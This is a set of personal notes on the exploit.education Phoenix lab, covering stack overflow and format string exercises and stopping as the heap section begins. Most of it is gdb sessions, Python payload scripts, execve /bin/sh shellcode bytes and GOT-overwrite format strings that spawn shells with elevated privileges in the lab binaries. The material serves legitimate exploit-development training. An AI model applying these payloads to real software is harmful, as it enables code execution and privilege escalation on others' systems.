Phoenix (exploit.education) notes

2019-11-01

exploit.education is a way to learn exploit development and related topics. Phoenix machine is a set of exercises which covers basic vulnerabilities and exploitation techniques.

This post is a summary of my notes, it is not meant to be a step by step walkthrough.

Stack

This part is focused on memory corruption made on a stack and how it can be abused.

Stack Zero

User input is copied from stdin to locals.buffer without any length limit. buffer is a fixed length array (64 elements).

  gets(locals.buffer);

The goal is to overflow a buffer to alter another variable. It can be done by putting more than 64 bytes.

user@phoenix-amd64:~$ python -c 'print "A" * 65' | /opt/phoenix/i486/stack-zero
Welcome to phoenix/stack-zero, brought to you by https://exploit.education
Well done, the 'changeme' variable has been changed!

Stack One

This exercise is similar to the previous one, but instead of just changing the variable, we need to set it to specific value.

  if (locals.changeme == 0x496c5962) {

As we provides exact data which overwrites stack, we need to specify it in a payload.

user@phoenix-amd64:~$ /opt/phoenix/i486/stack-one `python -c 'print "A" * 64 + "\x62\x59\x6c\x49"'`
Welcome to phoenix/stack-one, brought to you by https://exploit.education
Well done, you have successfully set changeme to the correct value

Stack Two

In this exercise the only change is that user input comes from environmental variable which may be surprising that it’s also user controllable.

  ptr = getenv("ExploitEducation");
  [...]
  strcpy(locals.buffer, ptr);

  if (locals.changeme == 0x0d0a090a) {
user@phoenix-amd64:~$ ExploitEducation=`python -c 'print "A"*64 + "\x0a\x09\x0a\x0d"'` /opt/phoenix/i486/stack-two
Welcome to phoenix/stack-two, brought to you by https://exploit.education
Well done, you have successfully set changeme to the correct value

Stack Three

This exercise shows how overwriting a function pointer can be abused. We can set it any address we want and redirect the execution. Address of a desired function can by obtained with objdump

user@phoenix-amd64:~$ objdump -d /opt/phoenix/i486/stack-three  | grep '<complete_level>'
08048535 <complete_level>:
user@phoenix-amd64:~$ echo `python -c 'print "a"*64 + "\x35\x85\x04\x08"'` | /opt/phoenix/i486/stack-three
Welcome to phoenix/stack-three, brought to you by https://exploit.education
calling function pointer @ 0x8048535
Congratulations, you've finished phoenix/stack-three :-) Well done!

Stack Four

This one is a little bit more complicated. We have to overwrite a return address which resides on the stack. It is required to use debugger to find a proper offset to reach this variable.

gef➤  disas start_level
[...]
   0x08048512 <+13>:  call   0x8048310 <gets@plt>
[...]
   0x08048535 <+48>:  ret
[...]
gef➤  b *start_level+13
Breakpoint 1 at 0x8048512
gef➤  b *start_level+48
Breakpoint 2 at 0x8048535
gef➤  r
Starting program: /opt/phoenix/i486/stack-four
Welcome to phoenix/stack-four, brought to you by https://exploit.education

Breakpoint 1, 0x08048512 in start_level ()
gef➤  x/x $esp
0xffffd630: 0xffffd64c
gef➤  c
Continuing.
aaaa
and will be returning to 0x804855c

Breakpoint 2, 0x08048535 in start_level ()
gef➤  print/x $esp
$0 = 0xffffd69c
gef➤  print/d 0xffffd69c - 0xffffd64c
$1 = 80

We set breakpoints on instructions where it is easy to spot buffer’s address 0xffffd64c and stack’s address in which return value is stored 0xffffd69c. By subtracting we get a proper offset. Last thing to find is a desired return address.

gef➤  print complete_level
$2 = {<text variable, no debug info>} 0x80484e5 <complete_level>
root@phoenix-amd64:/opt/phoenix/i486# echo `python -c 'print "a"*80 + "\xe5\x84\x04\x08"'` | ./stack-four
Welcome to phoenix/stack-four, brought to you by https://exploit.education
and will be returning to 0x80484e5
Congratulations, you've finished phoenix/stack-four :-) Well done!

Stack Five

Finally an exercise where we can execute own code. We will overwrite a return address like in the previous exercise, but this time with address to a shellcode. At the beginning we need to find an offset.

user@phoenix-amd64:~$ gdb /opt/phoenix/i486/stack-five
gef➤  disas start_level
   [...]
   0x08048498 <+19>:    call   0x80482c0 <gets@plt>
   [...]
   0x080484a2 <+29>:    ret
gef➤  b *start_level+19
Breakpoint 1 at 0x8048498
gef➤  b *start_level+29
Breakpoint 2 at 0x80484a2
gef➤  r
Starting program: /opt/phoenix/i486/stack-five
Welcome to phoenix/stack-five, brought to you by https://exploit.education

Breakpoint 1, 0x08048498 in start_level ()
gef➤  x/x $esp
0xffffd0a0:     0xffffd0b0
gef➤  c
Continuing.
aaaa

Breakpoint 2, 0x080484a2 in start_level ()
gef➤  print/x $esp
$0 = 0xffffd13c
gef➤  print/d 0xffffd13c - 0xffffd0b0
$1 = 140

As we know the offset and buffer’s address, the last thing we need is a proper shellcode. A typical one will not work because gets function is in use. More details about this topic and proper shellcode:

total_len = 140
payload = "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
payload += "A" * (total_len-len(payload))
payload += "\xb0\xd0\xff\xff"
print payload
user@phoenix-amd64:~$ python five.py | /opt/phoenix/i486/stack-five
Welcome to phoenix/stack-five, brought to you by https://exploit.education
$ id
uid=1000(user) gid=1000(user) euid=505(phoenix-i386-stack-five) egid=505(phoenix-i386-stack-five) groups=505(phoenix-i386-stack-five),27(sudo),1000(user)

Stack Six

The last stack exercise required more effort. This application reads value from ExploitEducation environmental variable and joins it with a text from GREET macro. Process of copying is vulnerable to buffer overflow because maxSize passed to strncpy is incorrectly calculated. At first, buffer is filled with what string using strcpy function. Then, user controllable value is copied to the further space in buffer, but when maxSize is calculated it’s not taken into account that value will be placed after non-zero offset. User controllable value will overflow a buffer by number of bytes equal to the length of what string.

  strcpy(buffer, what);
  strncpy(buffer + strlen(buffer), who, maxSize);

At the beginning we would like to know what is overwritten on the stack by our excessive data.

user@phoenix-amd64:~$ ExploitEducation=`python -c 'print "A"*200'`
user@phoenix-amd64:~$ gdb /opt/phoenix/i486/stack-six
gef➤  disas greet
[...]
   0x080485eb <+102>:	push   eax
   0x080485ec <+103>:	call   0x80483b0 <strncpy@plt>
   0x080485f1 <+108>:	add    esp,0x10
[...]
gef➤  b *greet+103
Breakpoint 1 at 0x80485ec
gef➤  r
Starting program: /opt/phoenix/i486/stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education

Breakpoint 1, 0x080485ec in greet ()

gef➤  x/x $esp
0xffffd4f0:	0xffffd51a
gef➤  x/x $esp+8
0xffffd4f8:	0x0000007f

esp keeps output buffer’s address. esp+8 stores how many bytes (0x7f == 127) will be copied by strncpy.

After one step (calling strncpy) we look at output buffer. Data from input ends on 0xffffd598 which is also address kept by ebp register. It appears that we can control one byte in ebp.

gef➤  n
gef➤  x/36x 0xffffd51a
0xffffd51a:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd52a:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd53a:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd54a:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd55a:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd56a:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd57a:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd58a:	0x41414141	0x41414141	0x41414141	0xd5414141
0xffffd59a:	0x865fffff	0xdec80804	0x0000ffff	0x00000000

gef➤  x/x $ebp
0xffffd598:	0xffffd541

Continuing we finally reach to interesting part which will allow us to alter execution path:

$eax   : 0x0
$ebx   : 0x41414141
$ecx   : 0xffffd520
$edx   : 0x0       
$esp   : 0xffffd5b0
$ebp   : 0xffffd541
$esi   : 0xffffd654 

 →  0x8048673 <main+104>       mov    ecx, DWORD PTR [ebp-0x4]
    0x8048676 <main+107>       leave
    0x8048677 <main+108>       lea    esp, [ecx-0x4]
    0x804867a <main+111>       ret

gef➤  n

4 is subtracted from ebp, then it’s treated as a pointer to a value which is set to ecx.

$eax   : 0x0        
$ebx   : 0x41414141 
$ecx   : 0xe0000000 
$edx   : 0x0        
$esp   : 0xffffd5b0 
$ebp   : 0xffffd541 
$esi   : 0xffffd654

gef➤  x/2x 0xffffd541-4
0xffffd53d:	0xe0000000	0x00f7ffb1

 →  0x8048676 <main+107>       leave
    0x8048677 <main+108>       lea    esp, [ecx-0x4]
    0x804867a <main+111>       ret

gef➤  n

This line really doesn’t matter, as it changes esp and ebp will be discarded soon.

$eax   : 0x0        
$ebx   : 0x41414141 
$ecx   : 0xe0000000 
$edx   : 0x0        
$esp   : 0xffffd545 
$ebp   : 0xf7ffb1   
$esi   : 0xffffd654

 →  0x8048677 <main+108>       lea    esp, [ecx-0x4]
    0x804867a <main+111>       ret

 gef➤  n

Next, 4 is subtracted from ecx, and set to esp - this value becomes a new stack pointer.

$eax   : 0x0        
$ebx   : 0x41414141 
$ecx   : 0xe0000000 
$edx   : 0x0        
$esp   : 0xdffffffc 
$ebp   : 0xf7ffb1   
$esi   : 0xffffd654

gef➤  x/x 0xdffffffc
0xdffffffc:	Cannot access memory at address 0xdffffffc

 →  0x804867a <main+111>       ret

 gef➤  n

The application crashes trying to read from esp (0xdffffffc) which is inaccessible address, but if it had succeed it would have taken an address from the stack and jumped to it.

Program received signal SIGSEGV, Segmentation fault.
0x0804867a in main ()

Let’s find better value for ebp which we may set in range 0xffffd500 - 0xffffd5ff

gef➤  x/100x 0xffffd500
0xffffd500:	0x00000099	0xf7ffb1e0	0x00000002	0xf7fb5ce8
0xffffd510:	0x08049930	0x00000098	0xf7ffb1e0	0x00000099
0xffffd520:	0xf7ffc228	0x00000098	0xffffd56f	0x00000001
0xffffd530:	0x41414141	0x41414141	0xf7fb79f5	0x0000000a
0xffffd540:	0xf7ffb1e0	0x00000000	0xffffd541	0xf7fb5ab8
0xffffd550:	0xf7ffb1e0	0xffffd56f	0x00000001	0x0000000a
0xffffd560:	0x08049930	0x41414141	0x41414141	0x0afb7038
0xffffd570:	0xf7fb5a5b	0xf7ffb000	0xf7ffb1e0	0xf7fb8958
0xffffd580:	0xf7ffb1e0	0x0000000a	0x00000000	0x00000000
0xffffd590:	0x41414141	0xffffd654	0x00000001	0x0804866b
0xffffd5a0:	0x08049930	0x00000000	0x00000000	0x00000000
0xffffd5b0:	0x00000000	0x00000000	0x00000000	0xffffdec8
0xffffd5c0:	0x00000000	0xffffd5e0	0xffffd65c	0xf7f8f654
0xffffd5d0:	0xffffd654	0x00000001	0xffffd65c	0xf7f8f654
0xffffd5e0:	0x00000001	0xffffd654	0xffffd65c	0x00000008
0xffffd5f0:	0x00000011	0x00000000	0xf7f8f628	0xf7ffb000

Let’s say we want to point ebp - 0x4 (look at main+104) to address 0xffffd564, so ebp should be 0xffffd568. It can be achieved by setting the last byte to 0x68. We also know that the whole buffer is 127 bytes long (from a third param passed to strcpy).

user@phoenix-amd64:~$ export ExploitEducation=`python -c 'print "A"*126 + "\x68" + "A"*(200-126-1)'`
user@phoenix-amd64:~$ gdb /opt/phoenix/i486/stack-six
gef➤  b *main+107
Breakpoint 1 at 0x8048676
gef➤  r


$eax   : 0x0        
$ebx   : 0x41414141 
$ecx   : 0x41414141 
$edx   : 0x0        
$esp   : 0xffffd5b0 
$ebp   : 0xffffd568 
$esi   : 0xffffd654
 →  0x8048676 <main+107>       leave

It shows that we control ecx and we can put our value in it, but now we need to know what part of the payload is there.

gef➤  pattern create 126
[+] Generating a pattern of 126 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabga

user@phoenix-amd64:~$ export ExploitEducation=`python -c 'print "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabga" + "\x68" + "A"*(200-126-1)'`
user@phoenix-amd64:~$ gdb /opt/phoenix/i486/stack-six

gef➤  b *main+107
Breakpoint 1 at 0x8048676
gef➤  r
Starting program: /opt/phoenix/i486/stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education
Welcome home, aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgah���_����

Breakpoint 1, 0x08048676 in main ()

$ecx   : 0x61746161

gef➤  pattern search $ecx 126
[+] Searching '$ecx'
[+] Found at offset 74 (little-endian search) likely
[+] Found at offset 75 (big-endian search)

Moving from one-liner to python script:

total = 200
ebp_offset = 126
ebp = "\x68"
addr_offset = 74
addr = "BBBB"

p = "A" * addr_offset
p += addr
p += "A" * (ebp_offset - len(p))
p += ebp
p += "A" * (total - len(p))

print p
user@phoenix-amd64:~$ export ExploitEducation=`python six.py`
user@phoenix-amd64:~$ gdb /opt/phoenix/i486/stack-six
gef➤  b *main+107
Breakpoint 1 at 0x8048676
gef➤  r
Starting program: /opt/phoenix/i486/stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education
Welcome home, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAh���_����

Breakpoint 1, 0x08048676 in main ()

$ecx   : 0x42424242

We know that ecx-4 becomes a new stack pointer and function returns to an address taken from the stack. So now we need to point esp to our data.

Address of payload beginning may be found this way:

gef➤  b *main+46
Breakpoint 2 at 0x8048639
gef➤  r
Starting program: /opt/phoenix/i486/stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education

Breakpoint 2, 0x08048639 in main ()

gef➤  print $eax
$1 = (void *) 0xffffdec8

So we put this address in script (remember about 4 bytes to be subtracted)

total = 200
ebp_offset = 126
ebp = "\x68"
addr_offset = 74
addr = "\xcc\xde\xff\xff" # 0xffffdec8 + 4 = 0xffffdecc

p = "A" * addr_offset
p += addr
p += "A" * (ebp_offset - len(p))
p += ebp
p += "A" * (total - len(p))

print p
user@phoenix-amd64:~$ export ExploitEducation=`python six.py`
user@phoenix-amd64:~$ gdb /opt/phoenix/i486/stack-six
gef➤  b *main+111
Breakpoint 1 at 0x804867a
gef➤  r
Starting program: /opt/phoenix/i486/stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education
Welcome home, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAh���_����

Breakpoint 1, 0x0804867a in main ()

gef➤  print $esp
$1 = (void *) 0xffffdec8

gef➤  n
0x41414141 in ?? ()
gef➤  print $eip
$2 = (void (*)()) 0x41414141

We moved control to address which we control, but we need to move control to our code. We know the address of the beginning from which value 0x41414141 was taken (0xffffdec8). So our payload should start from the next 4 bytes (0xffffdecc).

total = 200
ebp_offset = 126
ebp = "\x68"
addr_offset = 74
addr = "\xcc\xde\xff\xff"

shellcode = "\xcc" * 32

p = "\xcc\xde\xff\xff"
p += shellcode
p += "A" * (addr_offset - len(p))
p += addr
p += "A" * (ebp_offset - len(p))
p += ebp
p += "A" * (total - len(p))

print p

user@phoenix-amd64:~$ export ExploitEducation=`python six.py`
user@phoenix-amd64:~$ gdb /opt/phoenix/i486/stack-six
gef➤  r
Starting program: /opt/phoenix/i486/stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education
Welcome home, ������������������������������������AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAh���_����

Program received signal SIGTRAP, Trace/breakpoint trap.
0xffffdecd in ?? ()

 → 0xffffdecd                  int3
   0xffffdece                  int3
   0xffffdecf                  int3
   0xffffded0                  int3
   0xffffded1                  int3
   0xffffded2                  int3
   0xffffded3                  int3
   0xffffded4                  int3
   0xffffded5                  int3
   0xffffded6                  int3
   0xffffded7                  int3
   0xffffded8                  int3

It’s proof that we can move control to our payload. Now it’s time to test real shellcode, taken from:

total = 200
ebp_offset = 126
ebp = "\x68"
addr_offset = 74
addr = "\xcc\xde\xff\xff"

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

p = "\xcc\xde\xff\xff"
p += shellcode
p += "A" * (addr_offset - len(p))
p += addr
p += "A" * (ebp_offset - len(p))
p += ebp
p += "A" * (total - len(p))

print p
user@phoenix-amd64:~$ export ExploitEducation=`python six.py`
user@phoenix-amd64:~$ gdb /opt/phoenix/i486/stack-six
gef➤  r
Starting program: /opt/phoenix/i486/stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education
Welcome home, ����1�Ph//shh/bin��PS��
                                      ̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAh���_����
process 488 is executing new program: /bin/dash
warning: Could not load shared library symbols for linux-vdso.so.1.
Do you need "set solib-search-path" or "set sysroot"?
$

It works, shell is spawned. It’s time to test it without debugger.

user@phoenix-amd64:~$ /opt/phoenix/i486/stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education
Welcome home, ����1�Ph//shh/bin��PS��
                                      ̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAh���_����
Segmentation fault

It crashes so we need to adjust addresses, because debugger sets slightly different environmental variables. It can be done by analysis of core dump.

user@phoenix-amd64:~$ sudo sh -c 'echo 2 > /proc/sys/fs/suid_dumpable'
user@phoenix-amd64:~$ ulimit -c unlimited

user@phoenix-amd64:~$ /opt/phoenix/i486/stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education
Welcome home, ��������������������1�Ph//shh/bin��PS��
                                                      ̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����_����
Segmentation fault (core dumped)

user@phoenix-amd64:~$ gdb -c /var/lib/coredumps/core.stack-six.11.336
gef➤  x/100x 0xffffd500
0xffffd500:	0x0000007f	0xffffd674	0x00000001	0x08048603
0xffffd510:	0xf7f81cf7	0xf7ffb1e0	0xffffd540	0xf7fb5cf1
0xffffd520:	0x00000099	0xf7ffb1e0	0x00000002	0xf7fb5ce8
0xffffd530:	0x08049930	0x00000098	0xf7ffb1e0	0x00000099
0xffffd540:	0xf7ffc228	0x00000098	0xffffd58f	0x00000001
0xffffd550:	0xcd0bb0e1	0x41414180	0xf7fb79f5	0x0000000a
0xffffd560:	0xf7ffb1e0	0x00000000	0xffffd568	0xf7fb5ab8
0xffffd570:	0xf7ffb1e0	0xffffd58f	0x00000001	0x0000000a
0xffffd580:	0x08049930	0xffffdecc	0x41414141	0x0afb7038

We can see that our address appears on 0xffffd584 instead of 0xffffd564, so we need to change ebp from x68 to x88. Next is beginning of our data which is at 0xffffdeaa instead of 0xffffdec8.

gef➤  x/100x 0xffffdec8-30
0xffffdeaa:	0xffffdecc	0x6850c031	0x68732f2f	0x69622f68
0xffffdeba:	0x50e3896e	0xb0e18953	0x4180cd0b	0x41414141
0xffffdeca:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffdeda:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffdeea:	0x41414141	0x41414141	0xdecc4141	0x4141ffff
0xffffdefa:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffdf0a:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffdf1a:	0x41414141	0x41414141	0x41414141	0x41684141
0xffffdf2a:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffdf3a:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffdf4a:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffdf5a:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffdf6a:	0x41414141	0x41414141	0x474f4c00	0x454d414e

Adjusted script:

total = 200
ebp_offset = 126
ebp = "\x88"
addr_offset = 74
addr = "\xae\xde\xff\xff" # 0xffffdeaa + 4 = 0xffffdeae

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

p = "\xae\xde\xff\xff"
p += shellcode
p += "A" * (addr_offset - len(p))
p += addr
p += "A" * (ebp_offset - len(p))
p += ebp
p += "A" * (total - len(p))

print p
user@phoenix-amd64:~$ export ExploitEducation=`python six.py`
user@phoenix-amd64:~$ /opt/phoenix/i486/stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education
Welcome home, ����1�Ph//shh/bin��PS��
                                      ̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB����_����
$ id
uid=1000(user) gid=1000(user) euid=506(phoenix-i386-stack-six) egid=506(phoenix-i386-stack-six) groups=506(phoenix-i386-stack-six),27(sudo),1000(user)

Format

This part is about string formatting vulnerabilities. All information required to successfully finish exercises:

Format Zero

Vulnerability occurs because user input is used as format string and formatting result is written into a fixed length buffer (32 bytes)

  struct {
    char dest[32];
    volatile int changeme;
  } locals;
[...]
sprintf(locals.dest, buffer);

The goal is to alter locals.changeme by memory corruption. It can be done by specifying a number with a fixed length which would overflow the buffer.

user@phoenix-amd64:~$ /opt/phoenix/i486/format-zero
Welcome to phoenix/format-zero, brought to you by https://exploit.education
%031x
Uh oh, 'changeme' has not yet been changed. Would you like to try again?
user@phoenix-amd64:~$ /opt/phoenix/i486/format-zero
Welcome to phoenix/format-zero, brought to you by https://exploit.education
%032x
Well done, the 'changeme' variable has been changed!

Format One

In this exercise instead of just altering the locals.changeme, it is required to set it to 0x45764f6c value. It may be achieved just by writing specific bytes at the end of the input buffer.

Uh oh, 'changeme' is not the magic value, it is 0x41413034
user@phoenix-amd64:~$ /opt/phoenix/i486/format-one
Welcome to phoenix/format-one, brought to you by https://exploit.education
%032xAAAA
Uh oh, 'changeme' is not the magic value, it is 0x41414141
user@phoenix-amd64:~$ /opt/phoenix/i486/format-one
Welcome to phoenix/format-one, brought to you by https://exploit.education
%032xlOvE
Well done, the 'changeme' variable has been changed correctly!

Format Two

This one prints on stdout instead of a buffer, so a different approach is required.

void bounce(char *str) {
  printf(str);
}

Values on stack may be treated as further parameters for printf, so it would be easy to exploit if user input appeared somewhere there.

user@phoenix-amd64:~$ gdb /opt/phoenix/i486/format-two
gef➤  disas bounce
   [...]
   0x08048521 <+12>:    call   0x8048320 <printf@plt>
   [...]
End of assembler dump.
gef➤  b *bounce+12
Breakpoint 1 at 0x8048521
gef➤  r AAAA
Starting program: /opt/phoenix/i486/format-two AAAA
Welcome to phoenix/format-two, brought to you by https://exploit.education

Breakpoint 1, 0x08048521 in bounce ()
gef➤  x/16x $esp
0xffffd000:     0xffffd030      0xffffd31a      0x00000100      0x00000000
0xffffd010:     0xf7f84b67      0xffffd150      0xffffd138      0x080485a0
0xffffd020:     0xffffd030      0xffffd31a      0x00000100      0x000003e8
0xffffd030:     0x41414141      0x00000000      0x00000000      0x00000000

Our value appears at 0xffffd030 which is 13th parameter of printf, so instead of 0x41414141 we may put there any address to which we want write.

gef➤  print &changeme
$1 = (<data variable, no debug info> *) 0x8049868 <changeme>

So we put this address on the stack, then we skip next 11 elements (not 12, because first is skipped already - it’s address of a string), and the last part - %n writes to that address.

user@phoenix-amd64:~$ /opt/phoenix/i486/format-two `python -c 'print "\x68\x98\x04\x08" + "%08x_" * 11 + "%n"'`
Welcome to phoenix/format-two, brought to you by https://exploit.education
hffffd2ec_00000100_00000000_f7f84b67_ffffd120_ffffd108_080485a0_ffffd000_ffffd2ec_00000100_000003e8_Well done, the 'changeme' variable has been changed correctly!

Format Three

Here instead of writing any value, a specific one must be set.

if (changeme == 0x64457845) {

Solution is similar, we put desired address on stack.

user@phoenix-amd64:~$ gdb /opt/phoenix/i486/format-three
gef➤  b *bounce+12
Breakpoint 1 at 0x80484f1
gef➤  r
Starting program: /opt/phoenix/i486/format-three
Welcome to phoenix/format-three, brought to you by https://exploit.education
AAAABBBBCCCCDDDD

Breakpoint 1, 0x080484f1 in bounce ()
gef➤  x/16x $esp
0xffffc0f0:     0xffffc120      0x00000000      0x00000000      0x00000000
0xffffc100:     0xf7f81cf7      0xf7ffb000      0xffffd128      0x08048556
0xffffc110:     0xffffc120      0xffffc120      0x00000fff      0x00000000
0xffffc120:     0x41414141      0x42424242      0x43434343      0x44444444

Position of input data is the same - it starts from 13th parameter.

gef➤  print &changeme
$1 = (<data variable, no debug info> *) 0x8049844 <changeme>

So we put changeme address increased by 2, then any address, then changeme again but without any modification. Then we print "%2565x" * 10 + "%4x" next 11 elements from stack, usage of length specifiers sets byte counter to 0x6445. Using %hn 2 bytes from counter (instead of 4 bytes for %n) are written to specified address.

user@phoenix-amd64:~$ echo `python -c 'print "\x46\x98\x04\x08\xff\xff\xff\xff\x44\x98\x04\x08aaa" + "%2565x" * 10 + "%4x" + "%hn"'` | /opt/phoenix/i486/format-three
Welcome to phoenix/format-three, brought to you by https://exploit.education
[...]
Better luck next time - got 0x64450000, wanted 0x64457845!

Then, more bytes are printed %5120x to reach 0x7845 in counter.

user@phoenix-amd64:~$ echo `python -c 'print "\x46\x98\x04\x08\xff\xff\xff\xff\x44\x98\x04\x08aaa" + "%2565x" * 10 + "%4x" + "%hn%5120x%hn"'` | /opt/phoenix/i486/format-three
Welcome to phoenix/format-three, brought to you by https://exploit.education
[...]
Well done, the 'changeme' variable has been changed correctly!

Format Four

Last format exercise requires changing execution flow. It can be done by using how exit is called. Its address is kept in .plt which we can try to override. More details about this technique:

user@phoenix-amd64:~$ python -c 'print "A" * 16' > /tmp/a
user@phoenix-amd64:~$ gdb /opt/phoenix/i486/format-four
gef➤  b *bounce+17
Breakpoint 1 at 0x80484f6
gef➤  r < /tmp/a
Starting program: /opt/phoenix/i486/format-four < /tmp/a
Welcome to phoenix/format-four, brought to you by https://exploit.education

Breakpoint 1, 0x080484f6 in bounce ()
gef➤  x/16x $esp
0xffffc110:     0xffffc140      0x00000000      0x00000000      0x00000000
0xffffc120:     0xf7f81cf7      0xf7ffb000      0xffffd148      0x0804857d
0xffffc130:     0xffffc140      0xffffc140      0x00000fff      0x00000000
0xffffc140:     0x41414141      0x41414141      0x41414141      0x41414141

As in the previous exercises, user input starts from 13th parameter.

gef➤  disas main
   [...]
   0x08048569 <+70>:    call   0x8048330 <exit@plt>
   [...]
gef➤  x/i 0x8048330
0x8048330 <exit@plt>:        jmp    DWORD PTR ds:0x80497e4
gef➤  x/x 0x80497e4
0x80497e4 <exit@got.plt>:       0xf7f7f543

Address of exit function (0xf7f7f543) is kept at 0x80497e4.

gef➤  print &congratulations
$1 = (<text variable, no debug info> *) 0x8048503 <congratulations>

We would like to write 0x8048503 value at 0x80497e4 to replace real exit address. Payload can be prepared using the same technique as before.

python -c 'print "\xe6\x97\x04\x08\xff\xff\xff\xff\xe4\x97\x04\x08" + "%202x-"*10 + "%10x" + "%hn%31999x%hn"' > input.txt
user@phoenix-amd64:~$ cat input.txt | /opt/phoenix/i486/format-four
[...]
Well done, you're redirected code execution!
[...]

Execution was redirected, but more interesting is executing own code. So instead of writing congratulations address, we will write an address of a buffer containing shellcode.

user@phoenix-amd64:~$ python -c 'print "\xe4\x97\x04\x08\xff\xff\xff\xff\xe5\x97\x04\x08\xff\xff\xff\xff\xe6\x97\x04\x08\xe7\x97\x04\x08" + "%x"*10 + "%99x" + "%hhn%16x%hhn%63x%hhn%hhn" + "A" * 8' > input2.txt
user@phoenix-amd64:~$ gdb /opt/phoenix/i486/format-four
gef➤  b *bounce+17
Breakpoint 1 at 0x80484f6
gef➤  r < /tmp/a
Starting program: /opt/phoenix/i486/format-four < /tmp/a
Welcome to phoenix/format-four, brought to you by https://exploit.education

Breakpoint 1, 0x080484f6 in bounce ()
gef➤  grep AAAAAAAA
[+] Searching 'AAAAAAAA' in memory
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rwx
  0xffffc0a8 - 0xffffc0af  →   "AAAAAAAA[...]"

This time payload will write bytes one by one (using %hhn), pointing just after “AAAAAAAA” - 0xffffc0b0. Shellcode will be the same as from stack 5 exercise.

user@phoenix-amd64:~$ python -c 'print "\xe4\x97\x04\x08\xff\xff\xff\xff\xe5\x97\x04\x08\xff\xff\xff\xff\xe6\x97\x04\x08\xe7\x97\x04\x08" + "%x"*10 + "%99x" + "%hhn%16x%hhn%63x%hhn%hhn" + "A" * 8 + "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"' > input2.txt
user@phoenix-amd64:~$ /opt/phoenix/i486/format-four < input2.txt
Welcome to phoenix/format-four, brought to you by https://exploit.education
[...]
$ id
uid=1000(user) gid=1000(user) euid=511(phoenix-i386-format-four) egid=511(phoenix-i386-format-four) groups=511(phoenix-i386-format-four),27(sudo),1000(user)

Heap

This part is focused on exploitation heap memory corruption.

Heap Zero

The application allocates memory for struct data and struct fp on heap. Then, without any length verification copies user input to fixed length buffer in struct data.

struct data {
  char name[64];
};

struct fp {
  void (*fp)();
  char __pad[64 - sizeof(unsigned long)];
};

[...]

int main(int argc, char **argv) {
  [...]
  d = malloc(sizeof(struct data));
  f = malloc(sizeof(struct fp));
  f->fp = nowinner;

  strcpy(d->name, argv[1]);

The goal is to overwrite f->fp pointer. We need to check a distance between end of buffer and fp.

